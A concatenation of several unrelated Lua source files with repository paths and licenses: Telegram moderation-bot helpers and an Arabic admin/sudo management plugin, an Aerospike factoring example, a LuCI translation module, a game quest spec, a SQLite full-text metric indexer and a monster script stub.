"<", ["gt"] = ">", ["amp"] = "&", ["quot"] = '"', ["apos"] = "'" } new = string.gsub(str, '(&(#?x?)([%d%a]+);)', function(orig, n, s) var = map[s] or n == "#" and string.char(s) var = var or n == "#x" and string.char(tonumber(s,16)) var = var or orig return var end) return new end --Check if this chat is realm or not function is_realm(msg) local var = false local realms = 'realms' local data = load_data(_config.moderation.data) local chat = msg.to.id if data[tostring(realms)] then if data[tostring(realms)][tostring(msg.to.id)] then var = true end return var end end --Check if this chat is a group or not function is_group(msg) local var = false local groups = 'groups' local data = load_data(_config.moderation.data) local chat = msg.to.id if data[tostring(groups)] then if data[tostring(groups)][tostring(msg.to.id)] then var = true end return var end end function savelog(group, logtxt) local text = (os.date("[ %c ]=> "..logtxt.."\n \n")) local file = io.open("./groups/logs/"..group.."log.txt", "a") file:write(text) file:close() end function user_print_name(user) if user.print_name then return user.print_name end local text = '' if user.first_name then text = user.last_name..' ' end if user.lastname then text = text..user.last_name end return text end --Check if user is the owner of that group or not function is_owner(msg) local var = false local data = load_data(_config.moderation.data) local user = msg.from.id if data[tostring(msg.to.id)] then if data[tostring(msg.to.id)]['set_owner'] then if data[tostring(msg.to.id)]['set_owner'] == tostring(user) then var = true end end end if data['admins'] then if data['admins'][tostring(user)] then var = true end end for v,user in pairs(_config.sudo_users) do if user == msg.from.id then var = true end end return var end function is_owner2(user_id, group_id) local var = false local data = load_data(_config.moderation.data) if data[tostring(group_id)] then if data[tostring(group_id)]['set_owner'] then if data[tostring(group_id)]['set_owner'] == tostring(user_id) then var = true end end end if data['admins'] then if data['admins'][tostring(user_id)] then var = true end end for v,user in pairs(_config.sudo_users) do if user == user_id then var = true end end return var end --Check if user is admin or not function is_admin(msg) local var = false local data = load_data(_config.moderation.data) local user = msg.from.id local admins = 'admins' if data[tostring(admins)] then if data[tostring(admins)][tostring(user)] then var = true end end for v,user in pairs(_config.sudo_users) do if user == msg.from.id then var = true end end return var end function is_admin2(user_id) local var = false local data = load_data(_config.moderation.data) local user = user_id local admins = 'admins' if data[tostring(admins)] then if data[tostring(admins)][tostring(user)] then var = true end end for v,user in pairs(_config.sudo_users) do if user == user_id then var = true end end return var end --Check if user is the mod of that group or not function is_momod(msg) local var = false local data = load_data(_config.moderation.data) local user = msg.from.id if data[tostring(msg.to.id)] then if data[tostring(msg.to.id)]['moderators'] then if data[tostring(msg.to.id)]['moderators'][tostring(user)] then var = true end end end if data[tostring(msg.to.id)] then if data[tostring(msg.to.id)]['set_owner'] then if data[tostring(msg.to.id)]['set_owner'] == tostring(user) then var = true end end end if data['admins'] then if data['admins'][tostring(user)] then var = true end end for v,user in pairs(_config.sudo_users) do if user == msg.from.id then var = true end end return var end function is_momod2(user_id, group_id) local var = false local data = load_data(_config.moderation.data) local usert = user_id if data[tostring(group_id)] then if data[tostring(group_id)]['moderators'] then if data[tostring(group_id)]['moderators'][tostring(usert)] then var = true end end end if data[tostring(group_id)] then if data[tostring(group_id)]['set_owner'] then if data[tostring(group_id)]['set_owner'] == tostring(user_id) then var = true end end end if data['admins'] then if data['admins'][tostring(user_id)] then var = true end end for v,user in pairs(_config.sudo_users) do if user == usert then var = true end end return var end -- Returns the name of the sender function kick_user(user_id, chat_id) if tonumber(user_id) == tonumber(our_id) then -- Ignore bot return end if is_owner2(user_id, chat_id) then -- Ignore admins return end local chat = 'chat#id'..chat_id local user = 'user#id'..user_id chat_del_user(chat, user, ok_cb, true) end -- Ban function ban_user(user_id, chat_id) if tonumber(user_id) == tonumber(our_id) then -- Ignore bot return end if is_admin2(user_id) then -- Ignore admins return end -- Save to redis local hash = 'banned:'..chat_id redis:sadd(hash, user_id) -- Kick from chat kick_user(user_id, chat_id) end -- Global ban function banall_user(user_id) if tonumber(user_id) == tonumber(our_id) then -- Ignore bot return end if is_admin2(user_id) then -- Ignore admins return end -- Save to redis local hash = 'gbanned' redis:sadd(hash, user_id) end -- Global unban function unbanall_user(user_id) --Save on redis local hash = 'gbanned' redis:srem(hash, user_id) end -- Check if user_id is banned in chat_id or not function is_banned(user_id, chat_id) --Save on redis local hash = 'banned:'..chat_id local banned = redis:sismember(hash, user_id) return banned or false end -- Check if user_id is globally banned or not function is_gbanned(user_id) --Save on redis local hash = 'gbanned' local banned = redis:sismember(hash, user_id) return banned or false end -- Returns chat_id ban list function ban_list(chat_id) local hash = 'banned:'..chat_id local list = redis:smembers(hash) local text = "Ban list !\n\n" for k,v in pairs(list) do local user_info = redis:hgetall('user:'..v) if user_info and user_info.print_name then text = text..k.." - "..string.gsub(user_info.print_name, "_", " ").." ["..v.."]\n" else text = text..k.." - "..v.."\n" end end return text end -- Returns globally ban list function banall_list() local hash = 'gbanned' local list = redis:smembers(hash) local text = "global bans !\n\n" for k,v in pairs(list) do local user_info = redis:hgetall('user:'..v) if user_info and user_info.print_name then text = text..k.." - "..string.gsub(user_info.print_name, "_", " ").." ["..v.."]\n" else text = text..k.." - "..v.."\n" end end return text end -- /id by reply function get_message_callback_id(extra, success, result) if result.to.type == 'chat' then local chat = 'chat#id'..result.to.id send_large_msg(chat, result.from.id) else return 'Use This in Your Groups' end end -- kick by reply for mods and owner function Kick_by_reply(extra, success, result) if result.to.type == 'chat' then local chat = 'chat#id'..result.to.id if tonumber(result.from.id) == tonumber(our_id) then -- Ignore bot return "I won't kick myself" end if is_momod2(result.from.id, result.to.id) then -- Ignore mods,owner,admin return "you can't kick mods,owner and admins" end chat_del_user(chat, 'user#id'..result.from.id, ok_cb, false) else return 'Use This in Your Groups' end end -- Kick by reply for admins function Kick_by_reply_admins(extra, success, result) if result.to.type == 'chat' then local chat = 'chat#id'..result.to.id if tonumber(result.from.id) == tonumber(our_id) then -- Ignore bot return "I won't kick myself" end if is_admin2(result.from.id) then -- Ignore admins return end chat_del_user(chat, 'user#id'..result.from.id, ok_cb, false) else return 'Use This in Your Groups' end end --Ban by reply for admins function ban_by_reply(extra, success, result) if result.to.type == 'chat' then local chat = 'chat#id'..result.to.id if tonumber(result.from.id) == tonumber(our_id) then -- Ignore bot return "I won't ban myself" end if is_momod2(result.from.id, result.to.id) then -- Ignore mods,owner,admin return "you can't kick mods,owner and admins" end ban_user(result.from.id, result.to.id) send_large_msg(chat, "User "..result.from.id.." Banned") else return 'Use This in Your Groups' end end -- Ban by reply for admins function ban_by_reply_admins(extra, success, result) if result.to.type == 'chat' then local chat = 'chat#id'..result.to.id if tonumber(result.from.id) == tonumber(our_id) then -- Ignore bot return "I won't ban myself" end if is_admin2(result.from.id) then -- Ignore admins return end ban_user(result.from.id, result.to.id) send_large_msg(chat, "User "..result.from.id.." Banned") else return 'Use This in Your Groups' end end -- Unban by reply function unban_by_reply(extra, success, result) if result.to.type == 'chat' then local chat = 'chat#id'..result.to.id if tonumber(result.from.id) == tonumber(our_id) then -- Ignore bot return "I won't unban myself" end send_large_msg(chat, "User "..result.from.id.." Unbanned") -- Save on redis local hash = 'banned:'..result.to.id redis:srem(hash, result.from.id) else return 'Use This in Your Groups' end end function banall_by_reply(extra, success, result) if result.to.type == 'chat' then local chat = 'chat#id'..result.to.id if tonumber(result.from.id) == tonumber(our_id) then -- Ignore bot return "I won't banall myself" end if is_admin2(result.from.id) then -- Ignore admins return end local name = user_print_name(result.from) banall_user(result.from.id) chat_del_user(chat, 'user#id'..result.from.id, ok_cb, false) send_large_msg(chat, "User "..name.."["..result.from.id.."] hammered") else return 'Use This in Your Groups' end end
gpl-2.0
skatsuta/aerospike-training
book/answers/RecordUDF/Go/udf/basic.lua
9
1121
function get_all_factors(number) -- function definition local factors = {} -- local variable definition for possible_factor=1, math.sqrt(number), 1 do -- for loop local remainder = number%possible_factor -- assignment (% if remainder == 0 then -- if equal test local factor, factor_pair = possible_factor, number/possible_factor -- multiple assignment table.insert(factors, factor) -- table insert if factor ~= factor_pair then -- if not equal table.insert(factors, factor_pair) end end end table.sort(factors) return factors -- return value end -- The Meaning of the Universe is 42. -- Let's find all of the factors driving the Universe. the_universe = 42 -- global variable and assignment factors_of_the_universe = get_all_factors(the_universe) -- function call -- Print out each factor print("Count", "The Factors of Life, the Universe, and Everything") table.foreach(factors_of_the_universe, print)
mit
skatsuta/aerospike-training
book/answers/Queries/Go/udf/basic.lua
9
1121
function get_all_factors(number) -- function definition local factors = {} -- local variable definition for possible_factor=1, math.sqrt(number), 1 do -- for loop local remainder = number%possible_factor -- assignment (% if remainder == 0 then -- if equal test local factor, factor_pair = possible_factor, number/possible_factor -- multiple assignment table.insert(factors, factor) -- table insert if factor ~= factor_pair then -- if not equal table.insert(factors, factor_pair) end end end table.sort(factors) return factors -- return value end -- The Meaning of the Universe is 42. -- Let's find all of the factors driving the Universe. the_universe = 42 -- global variable and assignment factors_of_the_universe = get_all_factors(the_universe) -- function call -- Print out each factor print("Count", "The Factors of Life, the Universe, and Everything") table.foreach(factors_of_the_universe, print)
mit
skatsuta/aerospike-training
book/answers/Complete/Go/udf/basic.lua
9
1121
function get_all_factors(number) -- function definition local factors = {} -- local variable definition for possible_factor=1, math.sqrt(number), 1 do -- for loop local remainder = number%possible_factor -- assignment (% if remainder == 0 then -- if equal test local factor, factor_pair = possible_factor, number/possible_factor -- multiple assignment table.insert(factors, factor) -- table insert if factor ~= factor_pair then -- if not equal table.insert(factors, factor_pair) end end end table.sort(factors) return factors -- return value end -- The Meaning of the Universe is 42. -- Let's find all of the factors driving the Universe. the_universe = 42 -- global variable and assignment factors_of_the_universe = get_all_factors(the_universe) -- function call -- Print out each factor print("Count", "The Factors of Life, the Universe, and Everything") table.foreach(factors_of_the_universe, print)
mit
skatsuta/aerospike-training
book/exercise/RecordUDF/Go/udf/basic.lua
9
1121
function get_all_factors(number) -- function definition local factors = {} -- local variable definition for possible_factor=1, math.sqrt(number), 1 do -- for loop local remainder = number%possible_factor -- assignment (% if remainder == 0 then -- if equal test local factor, factor_pair = possible_factor, number/possible_factor -- multiple assignment table.insert(factors, factor) -- table insert if factor ~= factor_pair then -- if not equal table.insert(factors, factor_pair) end end end table.sort(factors) return factors -- return value end -- The Meaning of the Universe is 42. -- Let's find all of the factors driving the Universe. the_universe = 42 -- global variable and assignment factors_of_the_universe = get_all_factors(the_universe) -- function call -- Print out each factor print("Count", "The Factors of Life, the Universe, and Everything") table.foreach(factors_of_the_universe, print)
mit
hnyman/luci
modules/luci-lua-runtime/luasrc/i18n.lua
10
1252
-- Copyright 2008 Steven Barth <steven@midlink.org> -- Licensed to the public under the Apache License 2.0. local tparser = require "luci.template.parser" local util = require "luci.util" local tostring = tostring module "luci.i18n" i18ndir = util.libpath() .. "/i18n/" context = util.threadlocal() default = "en" function setlanguage(lang) local code, subcode = lang:match("^([A-Za-z][A-Za-z])[%-_]([A-Za-z][A-Za-z])$") if not (code and subcode) then subcode = lang:match("^([A-Za-z][A-Za-z])$") if not subcode then return nil end end context.parent = code and code:lower() context.lang = context.parent and context.parent.."-"..subcode:lower() or subcode:lower() if tparser.load_catalog(context.lang, i18ndir) and tparser.change_catalog(context.lang) then return context.lang elseif context.parent then if tparser.load_catalog(context.parent, i18ndir) and tparser.change_catalog(context.parent) then return context.parent end end return nil end function translate(key) return tparser.translate(key) or key end function translatef(key, ...) return tostring(translate(key)):format(...) end function dump() local rv = {} tparser.get_translations(function(k, v) rv[k] = v end) return rv end
apache-2.0
bsmr-games/lipsofsuna
data/lipsofsuna/core/specs/quest.lua
1
1186
--- TODO:doc -- -- Lips of Suna is free software: you can redistribute it and/or modify -- it under the terms of the GNU Lesser General Public License as -- published by the Free Software Foundation, either version 3 of the -- License, or (at your option) any later version. -- -- @module core.specs.quest -- @alias QuestSpec local Class = require("system/class") local Spec = require("core/specs/spec") --- TODO:doc -- @type QuestSpec local QuestSpec = Spec:register("QuestSpec", "quest", { {name = "name", type = "string", description = "Name of the spec."}, {name = "categories", type = "dict", dict = {type = "boolean"}, default = {}, description = "Dictionary of categories."}, {name = "status", type = "string", default = "unused", description = "Quest status. (unused/inactive/active/completed)"}, {name = "text", type = "string", default = "", description = "Textual description of the quest status."} }) --- Creates a new quest specification. -- @param clss QuestSpec class. -- @param args Arguments. -- @return QuestSpec. QuestSpec.new = function(clss, args) local self = Spec.new(clss, args) self.introspect:read_table(self, args) return self end return QuestSpec
gpl-3.0
shmul/mule
indexer.lua
1
3008
--[[ use sqlite3 FTS4 to create a single table, metrics_index with 2 default columns: rowid and content. rowid will hold a 64 bit hash, computed using xxhash content will hold the metric CREATE VIRTUAL TABLE metrics_index USING fts4; INSERT into metrics_index(rowid,content) values (8983,'hola.hop'), (83332,'chano.pozo'); --]] local sqlite3 = require("lsqlite3") local xxhash = require("xxhash") require("helpers") local xh = xxhash.init( 0xA278C5001 ) local function digest(str) xh:reset() -- remove leftovers xh:update(str) local rv = xh:digest() xh:reset() -- cleanup return rv end function indexer(path_) local db local insert_st,select_st,match_st,dump_st local function sqlite_error(label_) loge(label_,db:errmsg(),"code",db:errcode()) end local function open_db() if not path_ then db = sqlite3.open_memory() else db = sqlite3.open(path_) end if not db then loge("failed opening db",path_ or "in memory",sqlite3.version(),"lib",sqlite3.lversion()) return false end logi("opening",path_ or "in memory",sqlite3.version(),"lib",sqlite3.lversion()) if db:exec("CREATE VIRTUAL TABLE IF NOT EXISTS metrics_index USING fts4")~=sqlite3.OK then return sqlite_error("create table failed") end if db:exec("PRAGMA journal_mode=OFF")~=sqlite3.OK then return sqlite_error("pragma failed") end insert_st = db:prepare("INSERT INTO metrics_index(rowid,content) VALUES (:1,:2)") select_st = db:prepare("SELECT rowid FROM metrics_index WHERE rowid=:1") dump_st = db:prepare("SELECT rowid,content FROM metrics_index") match_st = db:prepare("SELECT content FROM metrics_index WHERE content MATCH :1") return true end local function insert_one(metric) local h = digest(metric) select_st:bind_values(h) for _ in select_st:nrows() do --print("found",h,metric) return nil -- if we are here, the digest already exists end --print("not found",h,metric) insert_st:bind_values(h,metric) insert_st:step() insert_st:reset() return true end local function insert(metrics_) local count = 0 for _,m in ipairs(metrics_) do if insert_one(m) then count = count + 1 end end logi("fts insert",count) end local function search(query_) match_st:bind_values(query_) for c in match_st:urows() do coroutine.yield(c) end end local function dump() for id,c in dump_st:urows() do coroutine.yield(id,c) end end local function close() if db then db:close_vm() local rv = db:close() logi("close",rv) end end if not open_db() then return nil end return { insert = insert, insert_one = insert_one, search = function(query_) return coroutine.wrap( function() search(query_) end ) end, dump = function() return coroutine.wrap(dump) end, close = close, } end
apache-2.0
LaFamiglia/Illarion-Content
monster/race_0_human/default.lua
1
1037
--[[ Illarion Server This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]] --ID 1, Human, Level: 5, Armourtype: medium, Weapontype: slashing --ID 2, Human Warrior, Level: 6, Armourtype: heavy, Weapontype: slashing --ID 5, Human Thief, Level: 4, Armourtype: light, Weapontype: puncture --ID 6, Friendly Human, Level: 0, Not hostile --ID 9, Cursed Knight local humans = require("monster.race_0_human.base") return humans.generateCallbacks()
agpl-3.0
nood32/MEEDOBOT
plugins/tools.lua
1
24491
--[[ --[[ ✄╔═╗╔═╗─────╔═══╗──╔══╗──╔════╗dev:@meedo1133 ✄║║╚╝║║─────╚╗╔╗║──║╔╗║──║╔╗╔╗║dev:@hema1133 ✄║╔╗╔╗╠══╦══╗║║║╠══╣╚╝╚╦═╩╣║║╚╝cha:@meedoyemen ✄║║║║║║║═╣║═╣║║║║╔╗║╔═╗║╔╗║║║ fbk:@mmalhossainy ✄║║║║║║║═╣║═╬╝╚╝║╚╝║╚═╝║╚╝║║║ gml:meedoyemen@gmail.com ✄╚╝╚╝╚╩══╩══╩═══╩══╩═══╩══╝╚╝ inst:@meedoyemen ]]-- local SUDO = 324329857 or sudo_users--<=== local function index_function(user_id) for k,v in pairs(_config.admins) do if user_id == v[1] then print(k) return k end end -- If not found return false end local function getindex(t,id) for i,v in pairs(t) do if v == id then return i end end return nil end local function already_sudo(user_id) for k,v in pairs(_config.sudo_users) do if user_id == v then return k end end -- If not found return false end local function reload_plugins( ) plugins = {} load_plugins() end local function sudolint(msg) local hash = "gp_lang:"..msg.chat_id_ local lang = redis:get(hash) local sudo_users = _config.sudo_users if not lang then text = "*📌¦ List of sudo users :*\n" else text = "*📌¦ قائمه المطورين : \n" end for i=1,#sudo_users do text = text..i.." - "..sudo_users[i].."\n" end return text end local function adminlist(msg) local hash = "gp_lang:"..msg.chat_id_ local lang = redis:get(hash) local sudo_users = _config.sudo_users if not lang then text = '*📌¦ List of bot admins :*\n' else text = "*📌¦ قائمه الاداريين : *\n" end local compare = text local i = 1 for v,user in pairs(_config.admins) do text = text..i..'- '..(user[2] or '')..' ➢ ('..user[1]..')\n' i = i +1 end if compare == text then if not lang then text = '📌¦ _No_ *admins* _available_' else text = '* 📌¦ لا يوجد اداريين *' end end return text end local function action_by_reply(arg, data) local cmd = arg.cmd if not tonumber(data.sender_user_id_) then return false end if data.sender_user_id_ then if cmd == "ارفع اداري" then local function adminprom_cb(arg, data) local hash = "gp_lang:"..arg.chat_id local lang = redis:get(hash) if data.username_ then user_name = '@'..check_markdown(data.username_) else user_name = check_markdown(data.first_name_) end if is_admin1(tonumber(data.id_)) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is already an_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n *انه بالتأكيد اداري ☑️", 0, "md") end end table.insert(_config.admins, {tonumber(data.id_), user_name}) save_config() if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _has been promoted as_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦| User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n تمت ترقيته ليصبح اداري ☑️", 0, "md") end end tdcli_function ({ ID = "GetUser", user_id_ = data.sender_user_id_ }, adminprom_cb, {chat_id=data.chat_id_,user_id=data.sender_user_id_}) end if cmd == "نزل اداري" then local function admindem_cb(arg, data) local hash = "gp_lang:"..arg.chat_id local lang = redis:get(hash) local nameid = index_function(tonumber(data.id_)) if data.username_ then user_name = '@'..check_markdown(data.username_) else user_name = check_markdown(data.first_name_) end if not is_admin1(data.id_) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is not a_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n *انه بالتأكيد ليس اداري ☑️", 0, "md") end end table.remove(_config.admins, nameid) save_config() if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _has been demoted from_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n *تم تنزله من الاداره ☑️", 0, "md") end end tdcli_function ({ ID = "GetUser", user_id_ = data.sender_user_id_ }, admindem_cb, {chat_id=data.chat_id_,user_id=data.sender_user_id_}) end if cmd == "ارفع مطور" then local function visudo_cb(arg, data) local hash = "gp_lang:"..arg.chat_id local lang = redis:get(hash) if data.username_ then user_name = '@'..check_markdown(data.username_) else user_name = check_markdown(data.first_name_) end if already_sudo(tonumber(data.id_)) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is already a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _انه بالتأكيد مطور ☑️_", 0, "md") end end table.insert(_config.sudo_users, tonumber(data.id_)) save_config() reload_plugins(true) if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is now_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _تم ترقيته ليصبح مطور ☑️_", 0, "md") end end tdcli_function ({ ID = "GetUser", user_id_ = data.sender_user_id_ }, visudo_cb, {chat_id=data.chat_id_,user_id=data.sender_user_id_}) end if cmd == "نزل مطور" then local function desudo_cb(arg, data) local hash = "gp_lang:"..arg.chat_id local lang = redis:get(hash) if data.username_ then user_name = '@'..check_markdown(data.username_) else user_name = check_markdown(data.first_name_) end if not already_sudo(data.id_) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is not a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _انه بالتأكيد ليس مطور ☑️_", 0, "md") end end table.remove(_config.sudo_users, getindex( _config.sudo_users, tonumber(data.id_))) save_config() reload_plugins(true) if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is no longer a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _تم تنزله من المطورين ☑️_", 0, "md") end end tdcli_function ({ ID = "GetUser", user_id_ = data.sender_user_id_ }, desudo_cb, {chat_id=data.chat_id_,user_id=data.sender_user_id_}) end else if lang then return tdcli.sendMessage(data.chat_id_, "", 0, "*📌¦ لا يوجد", 0, "md") else return tdcli.sendMessage(data.chat_id_, "", 0, "*User Not Found*", 0, "md") end end end local function action_by_username(arg, data) local hash = "gp_lang:"..arg.chat_id local lang = redis:get(hash) local cmd = arg.cmd if not arg.username then return false end if data.id_ then if data.type_.user_.username_ then user_name = '@'..check_markdown(data.type_.user_.username_) else user_name = check_markdown(data.title_) end if cmd == "ارفع اداري" then if is_admin1(tonumber(data.id_)) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is already a_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _انه بالتأكيد اداري ☑️_", 0, "md") end end table.remove(_config.admins, nameid) save_config() if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is Now a_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _تم ترقيته ليصبح اداري ☑️_", 0, "md") end end if cmd == "نزل اداري" then local nameid = index_function(tonumber(data.id_)) if not is_admin1(data.id_) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is not a_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _انه بالتأكيد ليس اداري ☑️_", 0, "md") end end table.remove(_config.admins, nameid) save_config() if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _has been demoted from_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _تم تنزله من الاداره ☑️_", 0, "md") end end if cmd == "ارفع مطور" then if already_sudo(tonumber(data.id_)) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is already a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n انه بالتأكيد مطور ☑️", 0, "md") end end table.insert(_config.sudo_users, tonumber(data.id_)) save_config() reload_plugins(true) if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is now_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n تم ترقيته ليصبح مطور ☑️", 0, "md") end end if cmd == "نزل مطور" then if not already_sudo(data.id_) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is not a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n انه بالتأكيد ليس مطور ☑️", 0, "md") end end table.remove(_config.sudo_users, getindex( _config.sudo_users, tonumber(data.id_))) save_config() reload_plugins(true) if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is no longer a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n تم تنزله من المطورين ☑️", 0, "md") end end else if lang then return tdcli.sendMessage(arg.chat_id, "", 0, "_📌¦ لا يوجد _", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "*User Not Found*", 0, "md") end end end local function action_by_id(arg, data) local hash = "gp_lang:"..arg.chat_id local lang = redis:get(hash) local cmd = arg.cmd if not tonumber(arg.user_id) then return false end if data.id_ then if data.username_ then user_name = '@'..check_markdown(data.username_) else user_name = check_markdown(data.first_name_) end if cmd == "ارفع اداري" then if is_admin1(tonumber(data.id_)) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is already a_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n *انه بالتأكيد اداري ☑️", 0, "md") end end table.remove(_config.admins, nameid) save_config() if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is Now a_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n *تمت ترقيته ليصبح اداري ☑️", 0, "md") end end if cmd == "نزل اداري" then local nameid = index_function(tonumber(data.id_)) if not is_admin1(data.id_) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is not a_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n *انه بالتأكيد ليس اداري ☑️*", 0, "md") end end table.remove(_config.admins, nameid) save_config() if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _has been demoted from_ *admin*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n *تم تنزله من الاداره ☑️", 0, "md") end end if cmd == "ارفع مطور" then if already_sudo(tonumber(data.id_)) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is already a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _انه بالتأكيد مطور ☑️_", 0, "md") end end table.insert(_config.sudo_users, tonumber(data.id_)) save_config() reload_plugins(true) if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is now_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _تم ترقيته ليصبح مطور ☑️_", 0, "md") end end if cmd == "نزل مطور" then if not already_sudo(data.id_) then if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is not a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _انه بالتأكيد ليس مطور ☑️_", 0, "md") end end table.remove(_config.sudo_users, getindex( _config.sudo_users, tonumber(data.id_))) save_config() reload_plugins(true) if not lang then return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _is no longer a_ *sudoer*", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "* 📌¦ User :* "..user_name.."\n *📌¦ ID : "..data.id_.."*\n _تم تنزله من المطورين ☑️_", 0, "md") end end else if lang then return tdcli.sendMessage(arg.chat_id, "", 0, "_📌¦ لا 